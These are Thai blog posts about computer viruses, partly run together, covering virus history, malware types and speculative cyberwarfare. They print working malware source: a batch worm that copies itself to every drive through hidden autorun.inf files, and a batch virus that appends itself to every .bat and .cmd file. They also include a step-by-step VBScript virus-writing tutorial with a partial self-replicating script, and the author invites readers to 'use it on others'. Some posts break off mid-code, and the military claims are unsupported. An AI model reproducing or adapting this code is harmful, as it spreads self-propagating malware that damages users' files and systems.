3. ไวรัสคอมพิวเตอร์ต้องใช้ทักษะทางคอมพิวเตอร์ที่สูงกว่าหนอนคอมพิวเตอร์ในด้านโครงสร้าง เพราะ "มันคือชุดคำสั่งที่สามารถจำลองชุดคำสั่งไวรัสไปยังเป้าหมายได้โดยไม่ส่งผลกระทบต่อเป้าหมายเพื่อฝั่งชุดคำสั่งนั้นและรอการแพร่เชื้อชุดคำสั่งนั้นต่อไป"
อธิบายกันให้กระจ่างอีกที...?
สมมุต ว่าเครื่องของคุณติดหนอนคอมพิวเตอร์ คือ 666.bat ในทุกๆ ไดร์ฟ แต่ถ้าเกิดมีไวรัสคอมพิวเตอร์ต่อไปนี้ติดเชื้อในเครื่องของคุณด้วยมันจะส่งผลให้แฟ้มคำสั่งของหนอนคอมพิวเตอร์ (666.bat) มีขนาดโตขึ้นตามขนาดของไวรัส เช่น
@echo off
if not "%1"=="" goto Interface
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
Start .
goto endbat
:Interface
type 666.bat >%1:666.bat
attrib +s +h +r %1:666.bat > nul
attrib -r -h -s %1:autorun.inf>nul
echo [autorun] > %1:autorun.inf
echo shellexecute=666.bat >>%1:autorun.inf
attrib +s +h +r %1:autorun.inf > nul
:endbat
%virus%@echo off&cd&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f"))) ตัวหนังสือเข้ม คือคำสั่งไวรัสที่เพิ่มเข้ามาต่อท้ายคำสั่งของหนอนคอมพิวเตอร์ โดยที่ไวรัสในตัวอย่างนี้ทำงานแบบฉลาดพอที่จะรู้ว่า แฟ้มแบทช์ไฟล์ใด ที่ติดไวรัสแล้ว...หรือแฟ้มแบทช์ไฟล์ใดยังไม่มีการติดไวรัส เมื่อแฟ้มดังกล่าวติดไวรัสแล้ว...จะส่งผลให้...หนอนคอมพิวเตอร์ตัวนี้ไม่ว่าจะติดเชื้อในเครื่องคอมพิวเตอร์เครื่องใดๆ ก็ตามมันจะนำเชื้อไวรัสที่มันติดเชื้ออยู่ไปกับมันด้วย...ส่งผลให้ไวรัสคอมพิวเตอร์สามารถระบาดในทุกๆ เครื่อง...และทุกๆ แฟ้มที่เป็น แบทช์ไฟล์ในเครื่องของคุณ

(ไวรัสนี้ไม่สามารถทำงานใน DOS Mode รุ่นเก่าๆ อย่าง Windows Me ได้) ตัวอย่างนี้ก็มีข้อบกพร่อง อยู่ตรงที่ มันไม่สามารถทำงานใน DOS ระดับพื้นฐานได้ ถ้าหากว่ามันติดเชื้อในแฟ้ม AUTOEXEC.BAT ก็ไม่สามารถทำงานได้ เพราะ AUTOEXEC.BAT นั้นทำงานใน DOS Mode ขั้นพื้นฐานคำสั่งบางคำสั่งของมันไม่สามารถให้บริการบนโหมดนี้

มาแยกชิ้นส่วนของไวรัสเพื่อทำการศึกษากัน...
1. คำสั่ง cd (ออกไปยัง Root Directory) คำสั่งนี้เป็นคำสั่งพื้นฐานของดอสอยู่แล้วคงไม่ต้องอธิบายอะไรมาก ถ้าคุณใช้คำสั่ง CD WINDOWS หรือ CD "PROGRAM FILES" เพื่อเข้าไปยัง โฟลเดอร์ต่างๆ จนคุ้นเคย แต่บนวินโดวส์เอ็กซ์พี คำสั่ง CD W* ก็มีค่าเท่ากับ CD WINDOWS เหมือนกัน (เพียงแต่รูปแบบสั้นกว่า ด้วย White Card) และถอยขึ้นมายังรูทไดเร็คทอรี่ 1 ลำดับ ด้วยการ CD.. ซึ่งดูรูปแบบคำสั่งเพิ่มเติมด้วยคำสั่ง CD /?
2. คำสั่ง for /r %%ตัวแปร in (รายการ) do ทำคำสั่ง (สำหรับค้นหาแฟ้มในรายการเพื่อทำคำสั่ง) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไป โดยจะแตกต่างจากคำสั่ง FOR แบบธรรมดา ตรงที่มันมีเงื่อนไข /R ซึ่งเป็นเงื่อนไขที่บ่งบอกให้ตัวแปรที่กำหนดเก็บรายชื่อแฟ้มภายในซับโฟลเดอร์ที่ทำงานลงไปทุกตัว จึงทำให้การเขียนไวรัสเป็นไปโดยง่ายเพราะ แค่คำสั่งเดียวก็ลิสต์รายชื่อแฟ้มออกมาดีกว่าคำสั่ง DIR เสียอีก เช่น
@for /r %%f in (*.*) do echo %%f
:: แสดงรายชื่อทุกแฟ้มจากโฟลเดอร์ที่ทำงานลงไปยังซับโฟลเดอร์ทั้งหมด
3. คำสั่ง findstr "ข้อความ" แฟ้มข้อมูล (ค้นหาข้อความในแฟ้มข้อมูลที่กำหนด) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไปเช่นกัน แต่เดิม คำสั่ง FIND.EXE จะทำหน้าที่นี้อยู่ แต่ในวินโดวส์เอ็กซ์พีได้บรรจุคำสั่งนี้เป็นคำสั่งภายในแล้ว แต่รูปแบบการทำงานจะคล้ายคำสั่ง FIND.EXE ตัวเดิม ซึ่งแต่เดิมคำสั่ง FIND.EXE นั้นในภาษาแอสเซมบลีตอนท้ายคำสั่ง จะมีการเรียกใช้ฟังก์ชั่น
MOV AH,4CH ; เรียกฟักช์ชั่นคืนผลลัพธ์ไปยังดอสและจบการทำงาน
INT 21H ; อินเตอร์รัพต์ของดอสโปรเซส
คำสั่งนี้มีผลทำต่อการคำนวนของแบทซ์ไฟล์คือ IF ERRORLEVEL ค่าของ "AL" ในโปรแกรมที่จบการทำงาน
จะถูกส่งผ่านมาให้คำนวนต่อไป...ซึ่งทุกๆ คำสั่งของดอสนั้นมีทั้งสิ้น...เพียงแต่ไม่มีเอกสารเผยแพร่ออกมาให้เห็นกันเพราะบาง ERROR นั้น ถูกเก็บเป็นความลับของระบบปฏิบัติการ แต่นักเขียนโปรแกรมบางคน ก็ใช่รูปแบบการตัดสิ้นใจแบบง่าย เพื่อดูคำสั่งผิดพลาดนั้นได้ด้วยการไล่ดูทุกๆ ค่า หรือ แค่ดูว่า IF ERRORLEVEL 1 นั้นคือมีข้อผิดพลาดเกิดขึ้นแต่ไม่สนใจว่าผิดพลาดอะไร...
4. คำสั่ง if errorlevel หมายเลข ทำคำสั่ง (ถ้ามีข้อผิดพลาดในหมายเลขทำตามคำสั่งนั้น) คำสั่งนี้เป็นคำสั่งที่ทำให้ไวรัสฉลาดขึ้นอย่างมากคือ..."ถ้าเกิดข้อผิดพลาดใดๆ ในการค้นหาข้อความ (virus) ไม่พบ จะติดเชื้อแฟ้มนั้นทันที" ซึ่งเป็นการตัดสินใจที่ชาญฉลาด...เพราะจะทำให้ไวรัสไม่ถูกเขียนซ้ำไปซ้ำมาบนแฟ้มที่ติดเชื้อไวรัส ซึ่งผู้เขียน เอง ศึกษาคำสั่งนี้มานาน...และก็ใช่อย่างคล่องแคล้วในการเขียนโปรแกรมฆ่าไวรัส แต่สำหรับผู้อ่านที่เริ่มศึกษาคำสั่ง แบทช์ไฟล์ ต้องทบทวนคำสั่งนี้เพิ่มเติมใน IF /? ในดอส เพื่อดูรูปแบบของคำสั่งที่แน่นอนรวมทั้งคำสั่งการตัดสินใจในรูปแบบอื่นๆ เพื่อเสริมความเก่งกาจในประสบการณ์ด้านนี้ต่อไป




 

Create Date : 19 ธันวาคม 2551    
Last Update : 4 พฤษภาคม 2556 17:04:24 น.
Counter : 592 Pageviews.  

ไวรัสคอมพิวเตอร์ไกล้ตัวกว่าที่คุณคิด ภาค 1


สวัสดีครับ...ห่างหายไปนาน...เอาล่ะ...มาเข้าเรื่องไวรัส...วายร้ายดีกว่า...ทุกวันนี้หลายคนรู้...และเข้าใจกันดีว่า "ไวรัสคอมพิวเตอร์" ไม่ใช่ฝุ่นละอองที่ปนเปื้อนด้วยเชื้อไข้หวัดในคน...แต่มันคือ "โปรแกรมจำลองตัวเอง" แบบพิเศษที่สามารถติดเชื้อไปยัง "พาหะ" ที่เป็นสื่อเก็บข้อมูล...และผ่านทางเน็ตเวิร์ค...อย่างไรก็ตาม...เราทุกคนต้องทนอยู่กับเจ้าสิ่งแปลกปลอมนี้ไปอีกนาน...



กำเนิดของไวรัสพอสังเขป...เริ่มจาก

1."จอนวอน นิวแมน"ตั้งทฤษฏีว่า"โปรแกรมคอมพิวเตอร์สามารถจำลองตัวมันเองได้"ในหนังสือที่เขาประพันธ์(ตอนนั้นยังไม่มีคอมพิวเตอร์PCที่เราใช้กันอยู่ด้วยซ้ำ)และเขาก็คิดถูก...เพราะหลังจากนั้นไม่นาน

2.ศูนย์วิจัย "เบลแลป"ทำการทดสอบโปรแกรมที่มีชื่อว่า"สงครามหน่วยความจำ"โดยให้โปรแกรมเมอร์ในทีมวิจัย...สร้าง"โปรแกรมที่สามารถจำลองตัวเองเพื่อแย่งชิงหน่วยความจำในเครื่องเมนเฟรม"ผลปรากฎคือ...เกิดโปรแกรมจำพวกไวรัส...ตัวแรกบนโลก...ในห้องทดลอง...โดยที่กระทรวงกลาโหมของสหรัฐอเมริกา...ได้รับรายงานแต่ก็คิดว่ามันไม่มีอันตรายใดๆต่อเครื่องของพวกเขา...

3.หลังจากนั้นไม่นาน...ก็มีไวรัสแพร่ระบาดในเครือข่าย่ของสหรัฐอเมริกา...จนเป็นสาเหตุ...ให้ทุกฝ่ายหันมาให้ความสนใจเรื่องไวรัสคอมพิวเตอร์...

4.ต่อมา"เฟรดโคเฮน"ก็เป็นคนแรก...ที่ตั้งคำจำกัดความให้กับโปรแกรมจำพวกนี้ว่า"ไวรัสคอมพิวเตอร์"พร้อมกับทำไวรัสออกมาเพื่อสาธิตให้กับคนทั่วๆ ไปได้ทราบว่ามันคืออะไรเขาถึงได้สมญาว่าเป็น "บิดาแห่งไวรัสคอมพิวเตอร์" ไวรัสยังคงมีอย่างต่อเนื่อง...

5.ในยุคที่PCถือกำเนิดก็มีไวรัสตัวแรกที่ติดเชื้อบนเครื่อง PC คือ "ซีเบรน" ซึ่งเขียนโดยสองพี่น้องชาวปากีสทาน (ขอไม่เอ่ยนาม...เพราะไม่ใช่วีรบุรุษ) ซึ่งเขียนไวรัสบูตเซกเตอร์ติดเชื้อไปกับแผ่น "บูตดอส"ของดอส 3.1รุ่นโบราณ...ใครก็ตามที่นำแผ่นโปรแกรมละเมิดลิขสิทธิ์ที่สองพี่น้องผู้นี้ขายให้...ติดไวรัสกับบ้านไปทุกคน...

6.ต่อมาเกิดไวรัสติดแฟ้ม .COM, .EXE ที่ชื่อ "เจรูซาเลม" ถือเป็นไวรัสติดแฟ้มข้อมูลจำพวกแรกที่กำเนิดขึ้นบนโลก...คนเขียนเหรอ...ไม่มีใครทราบตัวตนที่แท้จริง...รู้อย่างเดียวว่ามันระบาดในโรงเรียนแห่งหนึ่งใน "เยรูซาเลม" เป็นที่แรก

(ไวรัส "ลาวดวงเดือน" ซึ่งเป็นไวรัสบูตเซกเตอร์และเป็นไวรัสตัวแรกของประเทศไทย...ทุกวันนี้ก็ยังไม่มีใครทราบว่าคนเขียนเป็นใคร...)



นิยามที่ทำให้จำแนกมัลแวร์ออกมาได้ดังนี้

1.ไวรัสคอมพิวเตอร์"โปรแกรมจำลองตัวเองไปยังแฟ้มต่างๆได้ (จำกัดความจากแฟ้มคอมพิวเตอร์)"

2.หนอนคอมพิวเตอร์"โปรแกรมจำลองตัวเองไปยังเครื่อข่ายและเครื่องต่อเครื่อง(จำกัดความจากพาหะติดเชื่อ)"

3.ม้าโทรจัน"โปรแกรมทำลายเมื่อเปิดหรือเสียบอุปกรณ์สื่อสาร"

4.แอดแวร์"โปรแกรมเพิ่มหน้าเวปหรือโฆษณาที่ไม่ต้องการในเครื่องคอมฯ"

5.สปายแวร์"โปรแกรมดักจับรหัส...ดักจับข้อมูล...หรือฝั่งตัวเองเพื่อสืบความลับ"

6.โฮแอกซ์"โปรแกรมปลอมๆสนุกๆล้อกันเล่นว่าคือไวรัส...เป็นจดหมายลูกโซ่"



รูปแบบการทำงานของไวรัส...

1. ถ้าเริ่มบูตเครื่อง...ไวรัสสามารถครอบครองหน่วยความจำ...Viture Memory ได้...ก่อนโปรแกรมฆ่าไวรัส...ไวรัสจะชนะทันที (บูตเซกเตอร์ และ พาทิชั่นไวรัส)

2. ถ้ายังไม่ได้...จะเริ่มแทรกซึมเช้าสู้แฟ้มระบบของวินโดวส์...เพื่อย้ายการค้นหาไวรัสไปยังแฟ้มที่ไวรัสหลอกเอาไว้...ถ้าทำได้...ไวรัสก็จะชนะอีก (ไวรัสฝั่งตัวในหน่วยความจำ หรือ สเตร์ทไวรัส "ไอ้เครื่องบินรบ")

3. ถ้ายังไม่ได้...จะฝั่งตัวเข้าระบบฐานข้อมูลวินโดวส์เช่นแฟ้ม service .ini, .inf, และ Registry เพื่อไม่ให้ โปรแกรมฆ่าไวรัสมาฆ่ามันได้...ถึงแม้ตรวจเจอก็ตาม (ไวรัสสคริปวินโดวส์...หรือซิสเต็มไวรัส)

4. ถ้ายังไม่สำเร็จ..."รีโทล ไวรัส" จะทำการลบโปรแกรมฆ่าไวรัสทิ้งซะ...ตอนนี้ต้องแข่งขันกันเชิงกลยุทธ์ ระหว่าง "เทพกับมาร" ใครแพ้ต้องตาย...!

5. ถ้ายังไม่สำเร็จ...จะเปลี่ยนหน้าตาตัวเอง...ไม่ให้ซ่ำกัน..."โพลีมอฟิก ไวรัส" จะแพร่ตัวเองอย่างรวดเร็วโดยเป็น "จอมโจรพันหน้า" ถึง...ตำรวจอย่างโปรแกรมฆ่าไวรัสจะเจอ...ก็ฆ่าได้บางตัวที่จำหน้ามันได้...แต่ฆ่าไม่ได้ทุกตัวเพราะ...มันเปลี่ยนหน้าตาไปทุกครั้งที่แพร่เชื้อ

6. ถ้ายังไม่สำเร็จ...ก็จะติดต่อ...สื่อสาร...กับจอมมารในเน็ตเวิร์ค(ผู้เขียนไวรัส)...เพื่อดาวน์โหลดโปรแกรมไวรัสรุ่นใหม่ๆ ลงมา...ต่อสู้กับโปรแกรมฆ่าไวรัส (อินเตอร์เน็ตไวรัส...หรือ มัลแวร์แบ็กดอร์ "พวกชอบประตูหลัง")

7. ถ้ายังสู่โปรแกรมฆ่าไวรัสไม่ได้อีก...ไม่รู้จะเขียนอะไรดี...ปล่อยจดหมายลูกโซ่แกล้งคนอื่นๆ ดีก่า...ว่ามันเป็นไวรัส...ถ้าไม่ส่งต่อ...ติดเชื้อถึงตาย..."โฮแอกซ์ หรือ ไวรัสตลก..."

8. โอยยังมี "มัลติแพล็ตฟอร์มไวรัส...มัลติโอเอสไวรัส...รันไทม์ไวรัสอีก...ที่ยังไม่กล่าวถึง..."ผมถามจริงๆ เหอะ...เขียนขึ้นมาเคยได้สตังค์กันบ้างใหม?"



เรื่องยุทธการทางการทหารของไวรัสคอมพิวเตอร์....

คุณ...ๆ เคยรู้ไหมว่า...สงครามอิเล็กทริก มันมีจริง...และไม่ใช่แค่นิยายด้านวิทยาศาสตร์ แบบเรื่อง ID4 แต่ความจริงแล้ว...ไวรัสคอมพิวเตอร์นั้นสามารถนำมาทำเป็นยุทธโทปกรณ์ด้านอิเล็กทรอนิกส์ กันจริงๆ ...ถ้าอยากรู้ก็รอดูสงครามโลกครั้งที่ 3 (ไม่รู้มันจะเกิดจริงหรือเปล่า) ผมอาจจะไม่มีข้อมูลหรือหลักฐานที่มากไปกว่า...การทดลองและคำพูดที่เลือนลอย...แต่คุณก็จินตนาการตามแล้วกันว่า...จะใช้ไวรัสคอมพิวเตอร์ทำอะไรบ้างในสนามรบ....

1. ช่วงชิงการทำลายฐานข้อมูลข้าศึก... "ก่อนที่จะทำการโจมตีข้าศึกในแนวรบนักการทหารจะต้องใช้กลยุทธทุกๆ อย่างในการทำลายส่วนควบคุมบัญชาการรบของแนวข้าศึกเพื่อลดทอนประสิทธิภาพในการรบออกไป...เช่น ปล่อยไวรัสคอมพิวเตอร์ไปยังสัญญาณ ไวเลช...บูททูสน์...หรือ อินเตอร์เน็ต...ก่อนออกแถลงการโจมตี และส่งเครื่องบินไร้คนขับ...ปล่อยสัญญาณความถี่ชนิดพิเศษ(ไม่ทราบชื่อของมันแต่มีอยู่จริง) เพื่อเชื่อมโปรเซส ของ CPU PC คอมพิวเตอร์ให้เป็น Asmbly Code ที่ต้องการ...และช่วงชิงการทำลายข้อมูล เข้ารหัส...และ

ฝั่ง Back Door เอาไว้เพื่อล้วงความลับของคอมพิวเตอร์ส่วนบุคคลแดนข้าศึก"

2. ทำลายการสื่อสาร...ดาวเทียม...และการบัญชาการ..."เมื่อประกาศการรุกรานนักการทหารข้าศึกจะสั่งการตอบโต้...แต่ถ้าถูกตัดสัญญาณการบัญชาการรบหัวรบขีปนาวุธ...เครื่องบินรบ...กองเรือยุทธการ...รวมถึงกำลังภาคพื้นดิน...ไวรัสจะมีหน้าที่ในการก่อกวนการสื่อสาร...บางครั้งแทรกซึม...แพร่กระจายตัวยังเครือข่าย...ทั้งเครื่อง "เมนเฟรม", "ซุปเปอร์คอมพิวเตอร์" โดยให้มันทำงานเกินอัตตราหรือ เข้ารหัสสัญญาณเก็บข้อมูล...รวมทั้งปล่อยข่าวล่วงด้านการศึก...หากสำเร็จเพียง 1 เครื่อง ใน 10 เครื่องก็ถือว่า ชนะในสงครามด้าน อิเล็กทริก"

3. สืบค้นข้อมูลสำคัญ...และส่งข้อมูลที่จำเป็นกับสู่แนวรบ..."เมื่อทำศึกแล้ว สิ่งที่สำคัญที่สุดในยุทธปัจจัย...คือ การข่าว...ไวรัสคอมพิวเตอร์จะส่งข้อมูลด้านสารสนเทศออกจากฐานข้าศึกในทุกรูปแบบ...ทุกชั่วโมงและวินาที...ไม่ว่าจะเป็นรายชื่อทหารเสนาธิการ...กองกำลังแนวหน้า...หรือแผนที่ทางการทหาร...อาวุทยุทโธปกรณ์ที่ใช้ทำส่งคราม...ไม่ว่าข้อมูลในส่วนใดก็ตามถ้าเล็ดลอดออกไปได้...จะเกิดผลเสียต่อข้าศึกอย่างมาก"

4. ควบคุม...ทำลาย...เทคโอเวอร์..."คำสั่งนี้...จะเป็นคำสั่งสุดท้ายของไวรัส...คือมือถูกจับตัว...หรือถูกค้นพบ...จะทำลายตัวเอง...เพื่อไม่ให้ถอดรหัสคำสั่งหรือ...ถูกขวางการทำงานด้านอิเล็กทริก...จะส่งคำสั่งพิเศษทำลายอุปกรณ์ด้าน ฮาร์ดแวร์ (ทำได้ในภาพทฤษฎีและเคยทำสำเร็จในห้องทดลอง) เพื่อถ่วงเวลาการกู้ข้อมูลและการสืบค้นไวรัส...รวมถึงทำลายฐานข้อมูลทุกรูปแบบ..ไม่ว่าจะเป็นรายชื่อสำมะโนครัว...โปรแกรมพื้นฐานต่างๆ ...ข้อมูลเข้ารหัสต่างๆ...โดยไม่สนใจว่าสำคัญหรือไม่...ด้วยวิธีการพิเศษที่ไม่สามารถทำการกู้ข้อมูลได้ ไม่ว่าจะเป็น

การเขียนทับ...Empty Folder หรือ สร้างม้าโทรจัน...เชื่อมต่ออุปกรณ์ต่อเติม...ลอจิกบอมส์แบบ รันไทม์ ถึงแม้คำสั่งเหล่านี้จะเป็นคำสั่งพื้นฐาน...แต่มันมีผลมากต่อผู้ใช้เทคโนโลยีสารสนเทศ เหมือนกับ...สายระเบิดที่นักกู้ระเบิดรู้อยู่แล้วว่าต่อสลับวงจร...แต่ก็กดดันจิตวิทยา...และสร้างความสับสนให้ผู้กู้ข้อมูลพอสมควร

5. ท้ายที่สุด...."มีไวรัส...เหมือนไม่มีไวรัส" หมายถึง..."ไม่ว่าสงครามจะออกมาในรูปแบบใด...ไวรัสคอมพิวเตอร์จะต้องฝั่งตัวอยู่ต่อไป...แม้ว่าถูกจับได้...หรือประเทศรุกรานพ่ายแพ่...แต่ไวรัสคอมพิวเตอร์เหล่านั้นจะต้องฝั่งตัวอย่างเงียบ..ๆ เสมือนว่าไม่เคยเกิดอะไรขึ้น...และรอค่อยการเรียกใช้งานอีกครั้ง...ผ่าน BackDoor ("ประตูหลัง...ทางสู่นรก")" คุณๆ ยังไม่รู้หลอกครับว่า...เขียนไวรัสขึ้นมา 1 ตัว...ต้องใช้ประสบการณ์และจินตนาการขนาดไหน...ไม่ต้องสงสัย...หรือเชื่อในสิ่งที่ผมเล่ามาหลอกครับ...เพียงคุณลองจินตนาการดูซิว่า "มิจฉาชีพทุกคนเขียนไวรัสเป็นโลกจะวุ่นวายขนาดไหน" และถ้าคำพูดแค่ "คัดลอกฉันไปยังทุกๆ เครื่องบนโลกใบนี้" มันสามารถทำได้จริง...จะเกิดอะไรขึ้น...ในโลกของคุณ....



การสร้างไวรัส

1. การสร้างไวรัส...นั้นไม่ต้องมากครับ...ผู้เขียนไม่จำเป็นต้องเรียนเก่งระดับปริญญาเอก...หรือโท...แต่คุณมีความสามารถด้านภาษาอังกฤษแบบงูๆ ปลาๆ เต่าๆ ก็ได้...

2. เร่งเห็นความสำคัญของการศึกษาไวรัส...เพื่อ...ป้องกันตัวเองครับ...แรกๆ คุณอาจคึกคะนองอยากเห็นผลงานชิ้นโบว์แดงแพร่ระบาด...ขอบอกเลยนะ...ยากครับ...เพราะคุณต้องมีทักษะระดับเซียนเพื่อฆ่าไวรัสคู่แข่งด้วย...เหมือนการวิ่งเข้าเส้นชัยเพื่อกลับไปเกิดอีกครั้งเลย...เพราะต่างค้นต่างต้องการแย่งชิง Autorun.INF

3. ถ้าคุณเขียนไวรัสขึ้นมาแล้ว...ย่ำอย่างมาก...อย่านำคำสั่ง Bomb ติดไปกับไวรัสนะ...เพราะมันสร้างความเดือดร้อนให้กับผู้ติดเชื่ออย่างมากอย่าง KillVBS แรกๆ ผู้เขียนไวรัส...ตั้งใจจะให้มันฆ่าไวรัส .VBS ตัวอื่น...แต่หลังๆ เริ่มนำปัญหามาสู่ระบบของผู้อื่นอย่างชัดเจน...

4. เริ่มเลย...ถ้าไม่มีอคติ...กับผู้ที่เรียกตัวเองว่า "เวิร์มเมอร์" ทั้งหลาย...(แต่ถ้าคุณเรียกตัวเองว่า "แฮกเกอร์" ไม่อายเหรอที่ยังไม่มีพื้นฐานด้านความปลอดภัยระบบเพียงพอ...หรือไม่ใช่ คุณเป็น "แครกเกอร์" ก็เช่นกันเก่งแต่เจาะระบบชาวบ้าน...แต่เครื่องตัวเองเต็มไปด้วยเชื้อโรคผู้อื่น และฆ่ามันไม่เป็น)

5. กลยุทธ์พื้นฐานคือ ภาษา VBScript มันคือคำสั่งที่ต้องพึ่งพา WScript.EXE ฉนั้นท่าไม้ตายที่ดีที่สุดในการกำจัดไวรัสพวกนี้คือ...ลบมันทิ้ง...หรือเปลี่ยนชื่อมันเป็นอย่างอื่นซะ...

6. แน่นอนแหละไม่มีใครใช้ .VBS เล่นงานคุณได้..แต่ถ้าจะเล่นงานคนอื่นล่ะนำมันกลับมาก่อน...เขียนคำสั่งลงไป...ไม่มีสูตรตายตัวครับ...สำหรับการสร้างไวรัส .VBS แต่ที่สำคัญ...คือ...คุณคิดว่า...เด็กที่กำลังคลานตามคุณมาจะเก่งกว่าหรือแกล้งคุณได้สบายๆ หรือเปล่า...(มันก็เหมือนพ่อมดรุ่นใหม่ๆ...กำลังจะแซงแฮรี่พอร์ตเตอร์อย่างพวกคุณ)

7. พล่าม...เยอะ...แต่...ต้องเริ่มสอนแฮรี่พอร์ตเตอร์ร่ายคาถากันก่อน...

7.1 ใน Notepad จะเป็นตัวเขียนไวรัสชั้นดี...ยิ่งใน Notdpad++ สามารถบอกโครงสร้าง .VBS ได้เป็นอย่างดี...แต่มันไม่สำคัญเท่ากับการต้องรู้เงื่อนไขกติกาการเขียนซะก่อน

7.2 ภาษา VBScript เป็นภาษาที่ต้องอาศัยความชำนาญทางด้าน ฟังก์ชั่นของระบบปฏิบัติการเช่น สามารถสร้าง Shot Cut เพื่อหลอกผู้อื่นได้...(ตัวอย่างมันอยู่ใน Win Me ทุกเครื่อง) หรือ สามารถติดต่อกับ Excel เพื่อสร้างไวรัสที่ติดเชื้อ Excel ได้ด้วย...(ตัวอย่างอยู่ใน Win Me เช่นกัน) มันสามารถทำให้ระบบRegistry ไม่สามารถ Load โปรแกรมฆ่าไวรัสได้ด้วย

หรือแม้กระทั่ง...ดักแป้นพิมพ์ทุกแป้นที่ผู้ใช้เครื่องคนนั้นใช้เป็นรหัสผ่านในการเล่นเกมส์เช่น...เกมส์ออนไลน์ต่างๆ ได้...(อู้...อู้...ขี้โม้ล่ะมั่ง...เปล่าหลอกไอ้น้อง...มันมีจริง...แต่ต้องศึกษากัน)

7.3 เมื่อสร้างความทะยานอยากให้พวกคุณแล้ว...ความชั่วในตัวเริ่มสูบฉีด...แต่ยังไม่พอ...คุณต้องมีสติพอที่จะรู้ว่า...ไม่ง่ายนะ...ถ้าคุณคิดแบบเด็กๆ ที่กำลังอยากจะเอาชนะ...เพราะก่อนอื่น...ภาษา VBS นั้นเขียนง่ายมาก...ถ้ามีเครื่องมือแบบ "วิชวล" คือ "มันจะบอกถึงกิ่งก้านสาขาของคำสั่งที่คุณเขียน...และข้อผิดพลาดมีน้อยมาก" แต่ "ของฟรีไม่มีในโลก" ผมเองยังหามาใช้ไม่ได้เหมือนกันฮุๆๆๆ เลยสอนแบบ ไทยๆ เรานี้แหละ... NotePad เจ้าเก่าเรา...ผิดก็รันไม่ได้แค่นันเอง...

8. ภาษา VBScrip ต้องการคำสั่งเชื่อมต่อเพื่อบ่งบอก Object ที่จะเรียกใช้เช่น



CreateObject("WScript.Shell").Run "คำสั่ง DOS"



คือ เรียก WScript เพื่อทำงานด้วยคำสั่งDOS (Shell "หอย" นี้แหละที่ติดต่อกับคาถาระดับสูง DOS) Object คือ Wscript.Shell คำสั่งเชื่อมต่อมาคือ .Run หรือเราจะเขียนอย่างนี้ก็ได้



Set DosCmd = CreateObject("WScript.Shell")

DosCmd.Run "คำสั่งดอส"



คือ กำหนดตัวแปร DosCmd เพื่อเก็บคำสั่ง CreateObject("Wscript.Shell') ที่แสนจะยาวยืด ตามด้วยคำสั่งเชื่อมต่อก็ได้



' ส่วนนี้ถ้านำหน้าด้วย ' จะเป็นคอมเมนต์เพื่อบอกความหมายของคำสั่งหรือ

' เราจะใช้บอกอะไร ...ถึงผู้ติดเชื้อไวรัสของเราก็ได้

' ใส่ข้อความบอกให้ผู้ติดเชื้อทราบเมื่อเปิดอ่าน...ได้เลย

on error resume next

' ผิดพลาดอะไรข้ามไป 1 ที

dim AutoRun, Code, IsDrive, Virus, SysFile, Data, MyFile

' ประกาศตัวแปรที่ใช้ในโปรแกรม (ต้องประกาศให้ครบถึงทำงานบน .VBS ได้)

AutoRun="[autorun]" & vbNewLine &"shellexecute=wscript.exe ไวรัสฉันเอง.vbs"

' ให้ตัวแปร AutoRun เป็นคำสั่งใน Autorun.INF

set SysFile=createobject("Scripting.FileSystemObject")

' กำหนดตัวแปร SysFile เป็นคำสังของ System File Object

set Virus=SysFile.getfile(Wscript.ScriptFullname)

' กำหนดให้ Virus เป็นชื่อของสคริปที่รัน

set Data=Virusastextstream(1,-2)

' กำหนกให้ Data เป็นข้อความในไวรัส

do while not Data.atendofstream

' ทำจนกว่าข้อความในไวรัสถูกก็อปหมด

Code=Code & Data.readline & vbnewline

' Codeคือข้อความที่ทุกบรรทัด

loop

'วนการทำงานจนจบปัญหาไวรัส...เรื่องราวที่

เอาล่ะ...ทิ้งเรื่องไวรัสมานาน...มาพูดกันหน่อยก่อนสิ้นปี...ผมเป็นคนหนึ่งที่เข้ากระทู้พันทิป...เพื่อศึกษาการทำงานของโปรแกรมและเขียนโปรแกรม...เป็นหลักส่วนตอบกระทู้เพื่อสอนวิธีฆ่าไวรัสนั้น...ไม่ใช่งานเลยครับ...เพราะบางคนก็ยังมีความคิดแบบเดิมๆ คือ DOS เป็นอะไรที่ต้องห้าม...หรือเป็นคำสั่งยุคโบราณที่คนสมัยใหม่...เห็นว่าเชย...และไม่ค่อยมีใครรู้จริง...นอกจาก..."ขาแฮก" หรือ"ขาแครก" กัน...ที่คนพวกนั้นไว้เจาะระบบกันจริงจัง...พบเป็นคนหนึ่งครับ...ที่พูดกันจริงๆ เลยว่าฝีมือเรื่อง DOS ยังไม่ถึงขั้น...ไม่ใช่ถล่มตัวนะครับ...แต่ยังต้องอาศัย Blog แห่งนี้โพสต์ความรู้เก็บเอาไว้เตือนความจำเหมือนกัน...เอาล่ะ...เข้าเรื่องไวรัส...



ประเภทของไวรัส(แบ่งตามระดับการทำงานและภาษาทีใช้งาน)

1. ไวรัสบูตเซกเตอร์ (Boot Sector or Boot Infector Viruses)

ปกติโดยทั่วไปแล้ว...ฮาร์ดดิสก์ทุกๆ ตัวจะมี บูตเซกเตอร์อยู่แล้ว ซึ่งเป็นตำแหน่งที่อุปกรณ์ใช้อ้างอิงเพื่อให้รู้ว่าเป็นตำแหน่งเริ่มต้นของการอ่านและเขียนข้อมูลเพื่อใช้เป็นหลักการอ้างอิงข้อมูลกับซอฟต์แวร์ ในส่วนของรายละเอียดเกี่ยวกับ หลักการทำงานผมไม่ขออธิบายอะไรมาก แต่จะอธิบายสั้นว่า "เอ็มบีอาร์; MBR หรือ Master Boot Record" จะเป็นส่วนที่สำคัญที่สุดของอุปกรณ์ประเภทนี้ หากส่วนนี้เสียหายจะทำให้ฮาร์ดดิสก์ทั่งลูกไม่สามารถทำงานได้เลย ซึ่ง "เอ็มบีอาร์" ของฮาร์ดดิสก์มีขนาด 512 ไบต์ หรือ ห้าร้อยสิบสองตัวอักษร ซึ่งเป็นขนาดมาตราฐานของเอ็มบีอาร์ และบางที อาจจะมีขนาดใหญ่กว่านั้นมาก ในระบบปฏิบัติการ Linux อย่างไรก็ดี "เอ็มบีอาร์" จะถูกระบุขนาดของดิสก์ขั้นพื้นฐาน รวมถึง 